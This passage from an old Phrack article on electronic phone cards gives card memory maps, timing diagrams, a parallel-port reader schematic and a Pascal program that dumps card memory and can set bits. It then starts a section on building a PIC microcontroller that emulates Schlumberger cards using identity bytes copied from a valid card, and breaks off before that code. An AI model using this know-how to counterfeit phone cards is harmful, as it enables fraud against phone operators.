3‑4 17 ‑‑> 32 | 1000 0000 | $80 | 0001 0010 | $12 | ‑‑‑> 10 units card | | | 0010 0100 | $24 | ‑‑‑> 22 units card | | | 0010 0111 | $27 | ‑‑‑> 25 units card | | | 0011 0010 | $32 | ‑‑‑> 30 units card | | | 0101 0010 | $52 | ‑‑‑> 50 units card | | | 1000 0010 | $82 | ‑‑‑> 80 units card | 1000 0001 | $81 | 0000 0010 | $02 | ‑‑‑> 100 units card | | | 0101 0010 | $52 | ‑‑‑> 150 units card

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

5 33 ‑‑> 40 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

6 41 ‑‑> 48 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

7 49 ‑‑> 56 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

8 57 ‑‑> 64 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

9 65 ‑‑> 72 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

10 73 ‑‑> 80 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

11 81 ‑‑> 88 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

12 89 ‑‑> 96 | 0001 1110 | $1E | ‑‑‑> Sweden

| 0010 0010 | $22 | ‑‑‑> Spain

| 0011 0000 | $30 | ‑‑‑> Norway

| 0011 0011 | $33 | ‑‑‑> Andorra

| 0011 1100 | $3C | ‑‑‑> Ireland

| 0100 0111 | $47 | ‑‑‑> Portugal

| 0101 0101 | $55 | ‑‑‑> Czech Republic

| 0101 1111 | $5F | ‑‑‑> Gabon

| 0110 0101 | $65 | ‑‑‑> Finland

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

13‑31 97 ‑‑> 248 | | | ‑‑‑> The units area: each time a unit

| | | is used, then a bit is set to "1";

| | |

| | | Generally the first two units are

| | | fused in factory as test.

| | |

| | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

32 249 ‑‑> 256 | 0000 0000 | $00 |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

II ) The cards from ODS, Giesecke & Devrient, ORGA Karten systeme,

===================================

Uniqua, Gemplus, Schlumberger and Oldenbourg Kartensysteme:

===================================

II‑1) Introduction:

‑‑‑‑‑‑‑‑‑‑‑‑

These cards are in fact 128 bit memory in NMOS technology, and the map of these cards are the following:

64 bit EPROM written protected (manufacturer area). 40 bit EEPROM (5x8 bits).

24 bits set to "1".

II‑2) Pinout:

‑‑‑‑‑‑‑‑

ISO 7816‑2

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | 5 | Pinout:

| | | ‑‑

+‑‑‑‑‑‑‑\ | /‑‑‑‑‑‑‑+

| 2 +‑‑‑‑+ + 6 | 1 : Vcc = 5V 5 : Gnd

| | | | 2 : Reset 6 : n.c.

+‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑+ 3 : Clock 7 : I/O

| 3 | | 7 | 4 : n.c. 8 : n.c.

| +‑‑‑‑+‑‑‑‑+ |

+‑‑‑‑‑‑‑/ | \‑‑‑‑‑‑‑+ n.c. : not connected

| 4 | 8 |

| | |

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

II‑3) Main features:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ISO 7816‑ 1/2 compatible.

‑ use a single 5V power supply.

‑ low power consumption.

‑ NMOS technology.

II‑4) Time Diagrams:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Reset:

‑‑‑‑‑‑

The address counter is reset to 0 when the clock line CLK is raised while the control line R is high. Note that the address counter can not be reset when it is in the range 0 to 7.

__________________

_____| |_______________Reset

: :

: _____ : _____ _

_____:_______| |____:_| |_____| Clk

: : : : : :

_____:_______:__________:_:_____:_____:_

_____:___n___|_____0____:_|_____1_____|_____2_____|_____3_____|___4_:_ (Address)

: : :

_____: :_______:_______

_____XXXXXXXXXXXXXXXXXXXX_______|___________|___________|________Data

Bit n Bit 0 Bit 1 Bit2 Bit3

The address counter is incremented by 1 with each rising edge of the clock signal Clk, for as long as the control line R remains low. The data held in each addressed bit is output to I/O contact each time Clk falls. It is not impossible to decrement the address counter, therefore to address an earlier bit, the address counter must be reset then incremented to require value.

Write:

‑‑‑‑‑‑

All unwritten or erased bits in the address 64‑104 may be unwritten to. When a memory cell is unwritten to, it is set to 0. The addressed cell is unwritten to by the following sequence.

1‑ R is raised while Clk is low, to disable address counter increment for one clock pulse.

2‑ Clk is then raised for a minimum of 10ms to write to the address bit.

When to write operation ends, and Clk falls, the address counter is unlocked, and the content of the written cell, which is now 0, is output to I/O contact if the operation is correct.

The next Clk pulse will increment the address by one, then the write sequence can be repeated to write the next bit.

_____

____________| |_____________________Reset

:

___ : _____

___| |____:__________| |_________|Clk

: : : : :

___:________:__________:_____:_________:

n | n+1 | n+2 | : n+3 | : (Addr)

‑‑‑'‑‑‑‑‑‑‑‑:‑‑‑‑‑‑‑‑‑‑'‑‑‑‑‑:‑‑‑‑‑‑‑‑‑'

: : :

________ _: : : _________

________XXX_XXXXXXXXXXXXXXXXXXX____________ XX___XXXXXXXXXXXXXXXXXXXXXXX I/O n n+1 : : n+1 n+2 : :

: :

write write

WriteCarry:

‑‑‑‑‑‑‑‑‑‑‑

A counter is erased by performing the WRITECARRY sequence on the stage of the next highest weighing to that to be erased.

The writecarry sequence is as follows:

1 ‑ Set the address counter to an unwritten bit in the next highest counter stage to that to be erased.

2 ‑ Increment is disabled on the following rising edge of R where Clk remains low.

3 ‑ Clk is then raised for a minimum of 10ms, while R is low, to write to the next address bit.

4 ‑ R is the raised again while Clk remains low to disable increment a second time.

5 ‑ Clk is the raised for a minimum of 1ms, while R is low, to write to the addressed bit a second time, erasing the counter level immediately below that the addressed bit.

_____ _____

______| |____________________| |Rst

: :

: _______ :

______:___________| |______:______Clk

: : : :

: : : :

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ address n ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>:<‑‑‑ n+1 ‑‑‑‑‑‑

: : : :

: : : :

______: : :______:

______XXXXXXXXXXXXXXXXXXXXX______XXXXXXXXXXXXXXXXXXXXXXX__________XX_____ I/O

: : n : : n n+1

: : :

Write Erase

II‑5) Memory Map:

‑‑‑‑‑‑‑‑‑‑‑‑‑

Bytes Bits Binary Hexa

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

1 1 ‑‑> 8 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

2 9 ‑‑> 16 | 0010 1111 | $2F | ‑‑‑> Germany

| 0011 0111 | $37 | ‑‑‑> Netherland

| 0011 1011 | $3B | ‑‑‑> Greece

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

3 17 ‑‑> 24 | | |

4 25 ‑‑> 32 | | | ‑‑‑> Issuer area (written protected) 5 33 ‑‑> 40 | | |

6 41 ‑‑> 48 | | |

7 49 ‑‑> 56 | | |

8 57 ‑‑> 64 | | |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

9 65 ‑‑> 72 | | | ‑‑‑> c4096 )

10 73 ‑‑> 80 | | | ‑‑‑> c512 )

11 81 ‑‑> 88 | | | ‑‑‑> c64 ) 5 stage octal counter 12 89 ‑‑> 96 | | | ‑‑‑> c8 )

13 97 ‑‑> 104 | | | ‑‑‑> c0 ) +‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

14 105 ‑‑> 112 | 1111 1111 | $FF |

15 113 ‑‑> 120 | 1111 1111 | $FF | ‑‑‑> area of bits set to "1" 16 120 ‑‑> 128 | 1111 1111 | $FF |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+

The Issuer area:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This issuer consists of 40 bits. The contents of the issuer area are specified by the card issuer, and are fixed during the manufacturing process. The contents of the issuer area will include data such as serial numbers, dates, and distribution centers.

This area may only be read.

The Counter area:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The counter area stores the card's units. Its initial value is specified by the card issuer and set during manufacturing.

The counter area is divided into a 5 stage abacus.

Note that you can only decrease the counter and it is not authorized to write in the counter a value greater than the old value.

I‑6) Electrical features:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Maximum ratings:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

| Symbol | Min | Max | Unit |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Supply voltage | Vcc | ‑0.3 | 6 | V |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Input voltage | Vss | ‑0.3 | 6 | V |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Storage temperature | Tstg | ‑20 | +55 | 0C |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Power dissipation | Pd | ‑ | 50 | mW |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

DC characteristics:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑

| Symbol | Min.| Typ.| Max.| Unit |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| Supply current | Icc | ‑ | ‑ | 5 | mA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| Input Voltage (low) | Vl | 0 | ‑ | 0.8 | V |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| Input voltage (high) | Vh | 3.5 | ‑ | Vcc | V |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| Input current R | Ih | ‑ | ‑ | 100 | uA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| Input current Clk | Il | ‑ | ‑ | 100 | uA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| Output current (Vol=0.5V) | Iol | ‑ | ‑ | 10 | uA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

| Output current (Voh=5V) | Ioh | ‑ | ‑ | 0.5 | mA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑

AC characteristics:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Symbol | Min. | Max. | Unit |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Pulse duration | tr | 50 | ‑ | us |

| R address reset | | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Pulse duration | ts | 10 | ‑ | us |

| R write | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| High level Clk | th | 8 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Low level Clk | tl | 12 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Write window | Twrite | 10 | ‑ | ms |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| Erase window | Terase | 10 | ‑ | ms |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv1 | 5 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv2 | 3.5 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv3 | 3.5 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv4 | 3.5 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv5 | 3.5 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv6 | 5 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv7 | 5 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

| | tv8 | 10 | ‑ | us |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+

III) The Reader Schematic:

======================

External 5V (Optional)

5V o‑‑‑‑‑‑,

| / T2 PNP d13 r7 10

0V o‑‑, | / BC 177 |\ | _____

| | ,‑‑‑‑‑‑‑o/ o‑‑*‑‑‑‑‑‑. E C .‑‑| >+‑[_____]‑‑‑‑‑‑‑‑,

__+__ | | |

\\\\\ | __|__ Battery | \ /

| ‑ 22.5V | ‑‑‑‑‑‑‑‑‑

....... | | | ___

: | __+__ +‑‑[___

D2 : | \\\\\ r6 150k r5 15k | |

4 o‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*‑‑‑‑

: | | r3 220k / C | |

Ack : | | ____T1 ‑ NPN | |

10 o‑‑‑‑‑‑|‑‑‑‑‑‑‑‑. '‑‑[__BC107 | |

: | |

: ,‑, ,‑, +‑E | |

: | |r2 | |r1 | r4 390k | | |

: | |220 | |22k __+__ __+__

: |_| |_| \\\\

: | |\ | |

: *‑‑| >+‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*‑‑‑

: | |/ | | ,‑‑‑‑‑|‑‑‑

: | d1 | | | ,‑‑‑‑‑‑‑‑‑‑,‑‑‑

: | | | *‑‑‑Fuse | Reset *‑‑|‑‑‑' | |

: | | | |

D0 : | | | ,‑|‑‑‑|‑‑* I/O | Clk *‑‑|‑‑‑, | |

2 o‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑' | | |‑‑

: | | | '‑‑‑Vpp | R/W *‑‑|‑‑‑|‑‑‑‑' |

Busy : | | | |‑‑‑‑‑

11 o‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑' ,‑‑‑|‑‑*Gnd | 5V * | | |

: | | |

D1 : | | __+__ Chip connector | | |

3 o‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑, \\\\\

: | | '‑‑‑‑‑‑‑‑‑‑‑

Str : | |\ | |

1 o‑‑‑‑‑‑‑*‑‑| >+‑‑*‑‑‑‑*‑‑‑‑*‑‑‑‑*‑‑‑‑*‑‑‑

: d2|/ | |d3 |d4 |d5 |d6 |d7 |

: ‑+‑ ‑+‑ ‑+‑ ‑+‑ ‑+

: /_\ /_\ /_\ /_\ /_

D3 : | | | | | |\d8 |

5 o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*‑‑‑‑|‑‑‑‑|‑‑‑‑|‑‑‑‑|‑‑‑

: | | | |

: | | | |

D4 : | | | | |\d9 |

6 o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*‑‑‑‑|‑‑‑‑|‑‑‑‑|‑‑‑

: | | |

: | | |

D5 : | | | |\d10 |

7 o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*‑‑‑‑|‑‑‑‑|‑‑‑

: | |

: | |

D6 : | | |\d11 |

8 o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*‑‑‑‑|‑‑‑

: |

: |

D7 : | |\d12 |

9 o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*‑‑‑

:

:

:

25 o‑‑‑‑‑‑.

: |

.......: | d1 to d13: 1N4148

__+__

\\\\\

Centronics port

IV) The program:

===========

The following program will enable you to read telecards on you PC if you build the reader.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ cut here (begin)

{***************************************

{ T E L E C A R D . PAS }

{***************************************

{ This program enable you to dumb the memory of electronics phonecards } { from all over the world, so that you will be able to see which country } { the card is from how many units are left and so on .... }

{***************************************

{

{ Written by Stephane BAUSSON (1993) }

{

{ Email: sbausson@ensem.u‑nancy.fr }

{

{ Snail Mail Address: 4, Rue de Grand }

{ F‑88630 CHERMISEY }

{ France }

{

{***************************************

{* Thanks to: Tomi Engdahl (Tomi.Engdahl@hut.fi) *}

{***************************************

USES crt,dos;

CONST port_address=$378; { lpr1 chosen }

TYPE string8=string[8];

string2=string[2];

VAR reg : registers;

i,j : integer;

Data : array[1..32] of byte;

car : char;

byte_number : integer;

displaying : char;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE Send(b:byte);

BEGIN port[port_address]:=b;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FUNCTION Get:byte;

BEGIN get:=port[port_address+1];

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{ FUNCTION dec2hexa_one(decimal_value):hexa_character_representation; }

{

{ ‑ convert a 4 bit long decimal number to hexadecimal. }

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FUNCTION dec2hexa_one(value:byte):char;

BEGIN case value of

0..9 : dec2hexa_one:=chr(value+$30);

10..15 : dec2hexa_one:=chr(value+$37);

END;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{ FUNCTION d2h(decimal_byte):string2;

{

{ ‑ convert a decimal byte to its hexadecimal representation. }

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FUNCTION d2h(value:byte):string2;

VAR msbb,lsbb:byte;

BEGIN msbb:=0;

if ( value >= $80 ) then

BEGIN msbb:=msbb+8;

value:=value‑$80;

END;

if ( value >= $40 ) then

BEGIN msbb:=msbb+4;

value:=value‑$40;

END;

if ( value >= $20 ) then

BEGIN msbb:=msbb+2;

value:=value‑$20;

END;

if ( value >= $10 ) then

BEGIN msbb:=msbb+1;

value:=value‑$10;

END;

lsbb:=0;

if ( value >= $08 ) then

BEGIN lsbb:=lsbb+8;

value:=value‑$08;

END;

if ( value >= $04 ) then

BEGIN lsbb:=lsbb+4;

value:=value‑$04;

END;

if ( value >= $02 ) then

BEGIN lsbb:=lsbb+2;

value:=value‑$02;

END;

if ( value >= $01 ) then

BEGIN lsbb:=lsbb+1;

value:=value‑$01;

END;

d2h := dec2hexa_one(msbb) + dec2hexa_one(lsbb);

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Function Binary( b : byte):string8;

var weight : byte;

s : string8;

BEGIN weight:=$80;

s:='';

while (weight > 0) do

BEGIN if ((b and weight) = weight) then s:=s+'1'

else s:=s+'0';

weight:=weight div $02;

END;

Binary:=s;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FUNCTION Units:byte;

VAR u, i : integer;

s : string8;

BEGIN u:=0;

i:=13;

while (Data[i] = $FF) do

BEGIN u:=u+8;

i:=i+1;

END;

s:=Binary(Data[i]);

while(s[1]='1') do

BEGIN inc(u);

s:=copy(s,2,length(s));

END;

units:=u;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

function Units_2:LongInt;

BEGIN Units_2:=4096*Data[9]+512*Data[10]+64*Data[11]+8*Data[12]+Data[13]; END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE Card_Type;

BEGIN case Data[2] of

$03: BEGIN write('Telecard ‑ France ‑ ');

case Data[12] of

$13: write('120 Units ‑ ',units‑130,' Units left'); $06: write('50 Units ‑ ',units‑60,' Units left'); $15: write('40 Units ‑ ',units‑40,' Units left'); END;

END;

$2F:BEGIN write('Telecard ‑ Germany ‑ ', Units_2, ' Units left'); END;

$3B:BEGIN write('Telecard ‑ Greece ‑ ', Units_2, ' Units left'); END;

$83:BEGIN write('Telecard');

case Data[12] of

$1E: write(' ‑ Sweden');

$30: write(' ‑ Norway');

$33: write(' ‑ Andorra');

$3C: write(' ‑ Ireland');

$47: write(' ‑ Portugal');

$55: write(' ‑ Czech Republic');

$5F: write(' ‑ Gabon');

$65: write(' ‑ Finland');

END;

if (Data[12] in [$30,$33,$3C,$47,$55,$65]) then

BEGIN case ((Data[3] and $0F)*$100+Data[4]) of

$012: write (' ‑ 10 Units ‑ ',units‑12,' Units left'); $024: write (' ‑ 22 Units ‑ ',units‑24,' Units left'); $027: write (' ‑ 25 Units ‑ ',units‑27,' Units left'); $032: write (' ‑ 30 Units ‑ ',units‑32,' Units left'); $052: write (' ‑ 50 Units ‑ ',units‑52,' Units left'); $067: write (' ‑ 65 Units ‑ ',units‑62,' Units left'); $070: write (' ‑ 70 Units ‑ ',units‑70,' Units left'); $102: write (' ‑ 100 Units ‑ ',units‑102,' Units left'); $152: write (' ‑ 150 Units ‑ ',units‑152,' Units left'); END;

END;

{ write(' ‑ N0 ',Data[5]*$100+Data[6]);} END;

END;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE waiting;

BEGIN send($00);

write('Enter a card in the reader and press a key ...');

repeat until key pressed;

gotoxy(1, wherey);

clreol;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE Full_Displaying;

BEGIN writeln('Memory dump:');

for i:=1 to 80 do write('‑');

for i:=1 to (byte_number div 6 + 1) do

BEGIN for j:=1 to 6 do

BEGIN if j+6*(i‑1) <= byte_number then write(binary(Data[j+6*(i‑1)]):9); END;

gotoxy(60,wherey);

for j:=1 to 6 do

if j+6*(i‑1) <= byte_number then write(d2h(Data[j+6*(i‑1)]),' '); writeln;

END;

for i:=1 to 80 do write('‑');

Card_Type;

writeln;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE Short_Displaying;

VAR j : integer;

BEGIN for j:=1 to byte_number do

BEGIN write(d2h(Data[j]),' ');

END;

writeln;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE Reading;

VAR i, j : integer;

Value : byte;

BEGIN send($FE);

send($F8);

for i:=1 to 32 do

BEGIN Value:=0;

for j:=1 to 8 do

BEGIN Value:=Value*$02 + ((get and $08) div $08); send($FB);

delay(1);

send($F8);

END;

Data[i]:=Value;

END;

case displaying of

'F':full_displaying;

'S':short_displaying;

END;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE writing;

VAR i,n:integer;

car:char;

BEGIN write('Which bit do you want to set to "1" : '); readln(n);

waiting;

car:=readkey;

send($FA);

send($F8);

for i:=1 to n do

BEGIN send($F9);

if i=n then

BEGIN send($FD);

delay(20);

send($FF);

delay(20);

END;

send($FB);

END;

reading;

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE Saving;

VAR filename : string;

f : text;

i : word;

BEGIN write('Enter the filename: ');

readln(filename);

assign(f, filename);

rewrite(f);

for i:=1 to byte_number do write(f,d2h(Data[i]),' ');

close(f);

END;

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCEDURE initialize;

VAR i : integer;

BEGIN byte_number:=32;

displaying:='F';

clrscr;

writeln(' 1 ‑ to dump a 256 bits card');

writeln(' 2 ‑ to dump a 128 bits card');

writeln(' F ‑ to display in full format');

window(41,1,80,25);

writeln(' S ‑ to display in short format');

writeln(' F2 ‑ to save in a file');

writeln(' Q ‑ to exit the program');

window(1,4,80,25);

for i:=1 to 80 do write('=');

window(1,5,80,25);

END;

{=======================================

BEGIN initialize;

repeat waiting;

car:=upcase(readkey);

case car of

'W':writing;

'Q':;

'1':byte_number:=32;

'2':byte_number:=16;

'F','S':displaying:=car;

#00: BEGIN car:=readkey;

if car=#60 then saving;

END;

else reading;

END;

until car='Q';

END.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ cut here (end)

_/_/_/_/_/ Stephane BAUSSON

_/_/_/_/_/ Engineering student at ENSEM (Nancy ‑ France) _/_/_/_/_/ Smail: 4, Rue de Grand, F‑88630 CHERMISEY, France _/_/_/_/_/

_/_/_/_/_/ Email: sbausson@ensem.u‑nancy.fr

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<End of text quoted from Stephane Bausson's text about the telephone cards>.

Electronic Telephone Cards (Part II)

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 11 of 18

Electronic Telephone Cards: How to make your own!

~~~~~~~~~~~~~~~~~~~~~~~~~~

(continued)

The Program:

~~~~~~~~~~~~

Well, when I saw this phile about the cards the first time, about a year ago I quickly realized that this system is very unsecure and really needs to be hacked. So, now I present you with a piece of software for the PIC 16C84 RISC micro‑controller from Microchip that will take care of emulating the cards used by Schlumberger and others. This system is to be found in Scandinavia (Sweden, Norway and Finland), Spain, France and other countries. I do know that France probably needs some small modifications for this to work, but I see no reason to as why it shouldn't do so! For this to work, you need to have access to a PROM burner which can handle the PIC 16C84, or you might just build one yourself as I include some plans for that in the UUEncoded block to be found at the end of this phile. First of all, you have to read off the first 12 bytes of data from a valid card from the country you wish your emulator to work in. This because I don't think it would be a good idea to publish stolen card identities in Phrack. Then you simply enter those 12 bytes of data in the proper place in my program and compile it. That's it... And since I happen to choose a version of the PIC with internal Data EEPROM, that means that the first 12 locations of the Data EEPROM should contain the card id bytes. As of today this code should work smooth and fine, but maybe you'll need to modify it later on when Schlumberger gets tired of my hack. But since the 